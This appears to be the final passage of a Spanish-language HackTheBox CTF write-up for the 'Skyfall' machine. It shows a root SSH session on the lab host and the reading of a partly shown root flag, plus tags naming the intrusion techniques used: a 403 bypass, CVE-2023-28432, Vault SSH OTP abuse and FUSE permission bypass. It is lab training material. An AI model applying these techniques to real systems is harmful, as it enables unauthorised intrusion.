2(root@10.129.230.158) Password:
3Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
4
5 * Documentation: https://help.ubuntu.com
6 * Management: https://landscape.canonical.com
7 * Support: https://ubuntu.com/pro
8
9This system has been minimized by removing packages and content that are
10not required on a system that users do not log into.
11
12To restore this content, you can run the 'unminimize' command.
13Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
14
15Last login: Wed Mar 27 13:20:05 2024 from 10.10.14.46
16root@skyfall:~# id
17uid=0(root) gid=0(root) groups=0(root)
Podemos leer la flag de root
1root@skyfall:~# cat root.txt
27df601471d54e17a...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Skyfall #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #Exploiting HTTP Parser Inconsistencies #403 Bypass #MinIO Enumeration #Information Disclosure #CVE-2023-28432 #S3 Enumeration #Vault Enumeration #Abusing Vault SSH OTP #Bypass Unix Permissions #FUSE #Abusing User_allow_other